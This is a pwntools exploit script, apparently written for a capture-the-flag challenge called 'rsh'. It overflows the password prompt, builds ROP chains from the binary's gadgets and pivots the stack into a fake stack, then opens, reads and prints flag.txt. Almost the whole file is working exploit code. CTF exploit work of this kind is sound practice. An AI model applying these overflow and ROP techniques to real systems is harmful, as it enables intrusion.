#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host hod-ctf.sito.org --port 4444 rsh
from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF(args.EXE or 'rsh')

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable
host = args.HOST or 'localhost'
port = int(args.PORT or 8888)


def start_local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
source /usr/share/pwndbg/gdbinit.py
tbreak main
break remote_shell
break *0x40128a
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     amd64-64-little
# RELRO:      Partial RELRO
# Stack:      No canary found
# NX:         NX enabled
# PIE:        No PIE (0x400000)
# Stripped:   No

context.terminal = ['tmux', 'splitw', '-h']


string_addr = exe.search(b'password').__next__()
pop_rdi = exe.search(asm('pop rdi; ret', arch='amd64')).__next__()
pop_rsi = exe.search(asm('pop rsi; ret', arch='amd64')).__next__()
pop_rdx = exe.search(asm('pop rdx; ret', arch='amd64')).__next__()
pop_rbp = exe.search(asm('pop rbp; ret', arch='amd64')).__next__()
leave = exe.search(asm('leave; ret', arch='amd64')).__next__()
rsp_8 = exe.search(asm('pop rdx; ret', arch='amd64')).__next__()
puts_banner = 0x4012f6
fake_stack = exe.sym['banner'] + 256

rop1 = ROP(exe)
# write flag.txt in banner
rop1.raw([pop_rsi, exe.sym['banner'], pop_rdx, 0x1000, exe.sym['read_string'], exe.sym['remote_shell']])

write_fake_stack = ROP(exe)
# write the longer chain into the part that will be our fake stack
write_fake_stack.raw([pop_rsi, fake_stack, pop_rdx, 0x1000, exe.sym['read_string'], exe.sym['remote_shell']])

rop2 = ROP(exe)
# rsp == fake_stack (banner + 256)
rop2.raw([pop_rbp, fake_stack, leave])

# chain to open flag.txt, read it and print it, then exit nicely
chain = [0xdeadbeef, pop_rdi, exe.sym['banner'], pop_rsi, 0, exe.sym['open'], pop_rdi, 3, pop_rsi, exe.sym['banner'], pop_rdx, 0xff, exe.sym['read']]
chain += [pop_rdi, exe.sym['banner'], exe.sym['puts'], exe.sym['exit']]
long_chain = ROP(exe)
long_chain.raw(chain)

def cycle(rop):
    io.recvuntil(b'login: ')
    io.sendline(b'A'*31)
    io.recvuntil(b'password: ')
    payload = secret_pwd + b'P' * off
    payload += rop.chain()
    io.sendline(payload.ljust(128-1, b'P'))
    sleep(0.2)

secret_pwd = b'super_secret_password'
username_len = 128
# offset to overwrite the return address
off = cyclic_find('anaa')
io = start()

# write flag.txt in banner
cycle(rop1)
io.sendline(b'flag.txt')

cycle(write_fake_stack)
io.sendline(long_chain.chain())

# return to the fake stack
cycle(rop2)

# flag is in stdout
io.interactive()